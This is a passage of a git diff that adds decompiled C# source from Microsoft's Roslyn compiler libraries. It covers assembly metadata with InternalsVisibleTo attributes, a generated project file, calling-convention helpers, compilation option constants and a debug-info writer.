SyntaxTriviaList list, SyntaxKind kind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return list.IndexOf(kind) >= 0; + } + + public static int IndexOf(this SyntaxTokenList list, SyntaxKind kind) + { + return ((SyntaxTokenList)(ref list)).IndexOf((int)kind); + } + + public static bool Any(this SyntaxTokenList list, SyntaxKind kind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return list.IndexOf(kind) >= 0; + } + + internal static SyntaxToken FirstOrDefault(this SyntaxTokenList list, SyntaxKind kind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + int num = list.IndexOf(kind); + if (num < 0) + { + return default(SyntaxToken); + } + return ((SyntaxTokenList)(ref list))[num]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Properties/AssemblyInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..ce3426f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Properties/AssemblyInfo.cs @@ -0,0 +1,49 @@ +using System.Diagnostics; +using System.Reflection; +using System.Resources; +using System.Runtime.CompilerServices; +using System.Runtime.Versioning; +using System.Security; +using System.Security.Permissions; +using Microsoft.CodeAnalysis; + +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.ExpressionEvaluator.ExpressionCompiler, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("csc, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("csi, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Scripting, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("VBCSCompiler, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("VBCSCompiler.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.Rebuild.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.CommandLine.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Emit.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Emit2.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.EndToEnd.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.WinRT.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.IOperation.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Semantic.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Symbol.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Syntax.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Test.Utilities, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.ExpressionEvaluator.ExpressionCompiler.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.Test.Utilities, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.Scripting.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Scripting.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Scripting.Desktop.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("InteractiveHost.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.EditorFeatures.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.EditorFeatures.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.EditorFeatures2.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("CompilerBenchmarks, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.Build.Tasks.CodeAnalysis.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: CommitHash("e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyConfiguration("Release")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyMetadata("RepositoryUrl", "https://github.com/dotnet/roslyn")] +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/costura.microsoft.codeanalysis.csharp.csproj b/decompiled/Libraries/microsoft.codeanalysis.csharp/costura.microsoft.codeanalysis.csharp.csproj new file mode 100644 index 0000000..42acad3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/costura.microsoft.codeanalysis.csharp.csproj @@ -0,0 +1,31 @@ + + + Microsoft.CodeAnalysis.CSharp + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Collections.Immutable.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Memory.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Reflection.Metadata.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Runtime.CompilerServices.Unsafe.dll + + + \ No newline at end of file diff --git a/decompiled/Libraries/microsoft.codeanalysis/.DS_Store b/decompiled/Libraries/microsoft.codeanalysis/.DS_Store new file mode 100644 index 0000000..821086d Binary files /dev/null and b/decompiled/Libraries/microsoft.codeanalysis/.DS_Store differ diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/AssemblyReferenceAlias.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/AssemblyReferenceAlias.cs new file mode 100644 index 0000000..8d08d7a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/AssemblyReferenceAlias.cs @@ -0,0 +1,14 @@ +namespace Microsoft.Cci; + +internal readonly struct AssemblyReferenceAlias +{ + public readonly string Name; + + public readonly IAssemblyReference Assembly; + + internal AssemblyReferenceAlias(string name, IAssemblyReference assembly) + { + Name = name; + Assembly = assembly; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CallingConvention.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CallingConvention.cs new file mode 100644 index 0000000..4f37c72 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CallingConvention.cs @@ -0,0 +1,18 @@ +using System; + +namespace Microsoft.Cci; + +[Flags] +internal enum CallingConvention +{ + CDecl = 1, + Default = 0, + ExtraArguments = 5, + FastCall = 4, + Standard = 2, + ThisCall = 3, + Unmanaged = 9, + Generic = 0x10, + HasThis = 0x20, + ExplicitThis = 0x40 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CallingConventionUtils.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CallingConventionUtils.cs new file mode 100644 index 0000000..68dd782 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CallingConventionUtils.cs @@ -0,0 +1,44 @@ +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis; + +namespace Microsoft.Cci; + +internal static class CallingConventionUtils +{ + private const SignatureCallingConvention SignatureCallingConventionMask = (SignatureCallingConvention)15; + + private const SignatureAttributes SignatureAttributesMask = SignatureAttributes.Generic | SignatureAttributes.Instance | SignatureAttributes.ExplicitThis; + + internal static CallingConvention FromSignatureConvention(this SignatureCallingConvention convention) + { + if (!convention.IsValid()) + { + throw new UnsupportedSignatureContent(); + } + return (CallingConvention)(convention & (SignatureCallingConvention)15); + } + + internal static bool IsValid(this SignatureCallingConvention convention) + { + if ((int)convention > 5) + { + return convention == SignatureCallingConvention.Unmanaged; + } + return true; + } + + internal static SignatureCallingConvention ToSignatureConvention(this CallingConvention convention) + { + return (SignatureCallingConvention)((byte)convention & 0xF); + } + + internal static bool IsCallingConvention(this CallingConvention original, CallingConvention compare) + { + return (original & (CallingConvention)15) == compare; + } + + internal static bool HasUnknownCallingConventionAttributeBits(this CallingConvention convention) + { + return (convention & (CallingConvention)(-128)) != 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CompilationOptionNames.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CompilationOptionNames.cs new file mode 100644 index 0000000..da7a163 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CompilationOptionNames.cs @@ -0,0 +1,50 @@ +namespace Microsoft.Cci; + +internal static class CompilationOptionNames +{ + public const string CompilationOptionsVersion = "version"; + + public const string CompilerVersion = "compiler-version"; + + public const string FallbackEncoding = "fallback-encoding"; + + public const string DefaultEncoding = "default-encoding"; + + public const string PortabilityPolicy = "portability-policy"; + + public const string RuntimeVersion = "runtime-version"; + + public const string Platform = "platform"; + + public const string Optimization = "optimization"; + + public const string Checked = "checked"; + + public const string Language = "language"; + + public const string LanguageVersion = "language-version"; + + public const string Unsafe = "unsafe"; + + public const string Nullable = "nullable"; + + public const string Define = "define"; + + public const string SourceFileCount = "source-file-count"; + + public const string EmbedRuntime = "embed-runtime"; + + public const string GlobalNamespaces = "global-namespaces"; + + public const string RootNamespace = "root-namespace"; + + public const string OptionStrict = "option-strict"; + + public const string OptionInfer = "option-infer"; + + public const string OptionExplicit = "option-explicit"; + + public const string OptionCompareText = "option-compare-text"; + + public const string OutputKind = "output-kind"; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/Constants.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/Constants.cs new file mode 100644 index 0000000..96c0550 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/Constants.cs @@ -0,0 +1,37 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +namespace Microsoft.Cci; + +internal static class Constants +{ + public const CharSet CharSet_None = CharSet.None; + + public const CharSet CharSet_Auto = CharSet.Auto; + + public const System.Runtime.InteropServices.CallingConvention CallingConvention_FastCall = System.Runtime.InteropServices.CallingConvention.FastCall; + + public const UnmanagedType UnmanagedType_CustomMarshaler = UnmanagedType.CustomMarshaler; + + public const UnmanagedType UnmanagedType_IDispatch = UnmanagedType.IDispatch; + + public const UnmanagedType UnmanagedType_SafeArray = UnmanagedType.SafeArray; + + public const UnmanagedType UnmanagedType_VBByRefStr = UnmanagedType.VBByRefStr; + + public const UnmanagedType UnmanagedType_AnsiBStr = UnmanagedType.AnsiBStr; + + public const UnmanagedType UnmanagedType_TBStr = UnmanagedType.TBStr; + + public const ComInterfaceType ComInterfaceType_InterfaceIsDual = ComInterfaceType.InterfaceIsDual; + + public const ComInterfaceType ComInterfaceType_InterfaceIsIDispatch = ComInterfaceType.InterfaceIsIDispatch; + + public const ClassInterfaceType ClassInterfaceType_AutoDispatch = ClassInterfaceType.AutoDispatch; + + public const ClassInterfaceType ClassInterfaceType_AutoDual = ClassInterfaceType.AutoDual; + + public const int CompilationRelaxations_NoStringInterning = 8; + + public const TypeAttributes TypeAttributes_TypeForwarder = (TypeAttributes)2097152; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CustomDebugInfoWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CustomDebugInfoWriter.cs new file mode 100644 index 0000000..8cd9d82 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/CustomDebugInfoWriter.cs @@ -0,0 +1,240 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.Debugging; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.Cci; + +internal sealed class CustomDebugInfoWriter +{ + private MethodDefinitionHandle _methodWithModuleInfo; + + private IMethodBody _methodBodyWithModuleInfo; + + private MethodDefinitionHandle _previousMethodWithUsingInfo; + + private IMethodBody _previousMethodBodyWithUsingInfo; + + private readonly PdbWriter _pdbWriter; + + public CustomDebugInfoWriter(PdbWriter pdbWriter) + { + _pdbWriter = pdbWriter; + } + + public bool ShouldForwardNamespaceScopes(EmitContext context, IMethodBody methodBody, MethodDefinitionHandle methodHandle, out IMethodDefinition forwardToMethod) + { + if (ShouldForwardToPreviousMethodWithUsingInfo(context, methodBody)) + { + if (context.Module.GenerateVisualBasicStylePdb) + { + forwardToMethod = _previousMethodBodyWithUsingInfo.MethodDefinition; + } + else + { + forwardToMethod = null; + } + return true; + } + _previousMethodBodyWithUsingInfo = methodBody; + _previousMethodWithUsingInfo = methodHandle; + forwardToMethod = null; + return false; + } + + public byte[] SerializeMethodDebugInfo(EmitContext context, IMethodBody methodBody, MethodDefinitionHandle methodHandle, bool emitStateMachineInfo, bool emitEncInfo, bool emitDynamicAndTupleInfo, out bool emitExternNamespaces) + { + emitExternNamespaces = false; + if (emitStateMachineInfo && _methodBodyWithModuleInfo == null && context.Module.GetAssemblyReferenceAliases(context).Any()) + { + _methodWithModuleInfo = methodHandle; + _methodBodyWithModuleInfo = methodBody; + emitExternNamespaces = true; + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + CustomDebugInfoEncoder encoder = new CustomDebugInfoEncoder(instance); + if (emitStateMachineInfo) + { + if (methodBody.StateMachineTypeName != null) + { + encoder.AddStateMachineTypeName(methodBody.StateMachineTypeName); + } + else + { + SerializeNamespaceScopeMetadata(ref encoder, context, methodBody); + encoder.AddStateMachineHoistedLocalScopes(methodBody.StateMachineHoistedLocalScopes); + } + } + if (emitDynamicAndTupleInfo) + { + SerializeDynamicLocalInfo(ref encoder, methodBody); + SerializeTupleElementNames(ref encoder, methodBody); + } + if (emitEncInfo) + { + EditAndContinueMethodDebugInformation encMethodDebugInfo = MetadataWriter.GetEncMethodDebugInfo(methodBody); + SerializeCustomDebugInformation(ref encoder, encMethodDebugInfo); + } + byte[] result = encoder.ToArray() ?? Array.Empty(); + instance.Free(); + return result; + } + + internal static void SerializeCustomDebugInformation(ref CustomDebugInfoEncoder encoder, EditAndContinueMethodDebugInformation debugInfo) + { + if (!debugInfo.LocalSlots.IsDefaultOrEmpty) + { + encoder.AddRecord(CustomDebugInfoKind.EditAndContinueLocalSlotMap, debugInfo, delegate(EditAndContinueMethodDebugInformation info, BlobBuilder builder) + { + info.SerializeLocalSlots(builder); + }); + } + if (!debugInfo.Lambdas.IsDefaultOrEmpty) + { + encoder.AddRecord(CustomDebugInfoKind.EditAndContinueLambdaMap, debugInfo, delegate(EditAndContinueMethodDebugInformation info, BlobBuilder builder) + { + info.SerializeLambdaMap(builder); + }); + } + if (!debugInfo.StateMachineStates.IsDefaultOrEmpty) + { + encoder.AddRecord(CustomDebugInfoKind.EditAndContinueStateMachineStateMap, debugInfo, delegate(EditAndContinueMethodDebugInformation info, BlobBuilder builder) + { + info.SerializeStateMachineStates(builder); + }); + } + } + + private static ArrayBuilder GetLocalInfoToSerialize(IMethodBody methodBody, Func filter, Func getInfo) + { + ArrayBuilder arrayBuilder = null; + ImmutableArray.Enumerator enumerator = methodBody.LocalScopes.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalScope current = enumerator.Current; + ImmutableArray.Enumerator enumerator2 = current.Variables.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ILocalDefinition current2 = enumerator2.Current; + if (filter(current2)) + { + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(); + } + arrayBuilder.Add(getInfo(default(LocalScope), current2)); + } + } + enumerator2 = current.Constants.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ILocalDefinition current3 = enumerator2.Current; + if (filter(current3)) + { + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(); + } + arrayBuilder.Add(getInfo(current, current3)); + } + } + } + return arrayBuilder; + } + + private static void SerializeDynamicLocalInfo(ref CustomDebugInfoEncoder encoder, IMethodBody methodBody) + { + if (methodBody.HasDynamicLocalVariables) + { + ArrayBuilder<(string, byte[], int, int)> localInfoToSerialize = GetLocalInfoToSerialize(methodBody, delegate(ILocalDefinition local) + { + ImmutableArray dynamicTransformFlags = local.DynamicTransformFlags; + return !dynamicTransformFlags.IsEmpty && dynamicTransformFlags.Length <= 64 && local.Name.Length < 64; + }, (LocalScope scope, ILocalDefinition local) => (Name: local.Name, GetDynamicFlags(local), Length: local.DynamicTransformFlags.Length, (local.SlotIndex >= 0) ? local.SlotIndex : 0)); + if (localInfoToSerialize != null) + { + encoder.AddDynamicLocals(localInfoToSerialize); + localInfoToSerialize.Free(); + } + } + static byte[] GetDynamicFlags(ILocalDefinition local) + { + ImmutableArray dynamicTransformFlags = local.DynamicTransformFlags; + byte[] array = new byte[64]; + for (int i = 0; i < dynamicTransformFlags.Length; i++) + { + if (dynamicTransformFlags[i]) + { + array[i] = 1; + } + } + return array; + } + } + + private static void SerializeTupleElementNames(ref CustomDebugInfoEncoder encoder, IMethodBody methodBody) + { + ArrayBuilder<(string, int, int, int, ImmutableArray)> localInfoToSerialize = GetLocalInfoToSerialize(methodBody, (ILocalDefinition local) => !local.TupleElementNames.IsEmpty, (LocalScope scope, ILocalDefinition local) => (Name: local.Name, SlotIndex: local.SlotIndex, StartOffset: scope.StartOffset, EndOffset: scope.EndOffset, TupleElementNames: local.TupleElementNames)); + if (localInfoToSerialize != null) + { + encoder.AddTupleElementNames(localInfoToSerialize); + localInfoToSerialize.Free(); + } + } + + private void SerializeNamespaceScopeMetadata(ref CustomDebugInfoEncoder encoder, EmitContext context, IMethodBody methodBody) + { + if (context.Module.GenerateVisualBasicStylePdb) + { + return; + } + if (ShouldForwardToPreviousMethodWithUsingInfo(context, methodBody)) + { + encoder.AddForwardMethodInfo(_previousMethodWithUsingInfo); + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (IImportScope importScope = methodBody.ImportScope; importScope != null; importScope = importScope.Parent) + { + instance.Add(importScope.GetUsedNamespaces(context).Length); + } + encoder.AddUsingGroups(instance); + instance.Free(); + if (_methodBodyWithModuleInfo != null && _methodBodyWithModuleInfo != methodBody) + { + encoder.AddForwardModuleInfo(_methodWithModuleInfo); + } + } + + private bool ShouldForwardToPreviousMethodWithUsingInfo(EmitContext context, IMethodBody methodBody) + { + if (_previousMethodBodyWithUsingInfo == null || _previousMethodBodyWithUsingInfo == 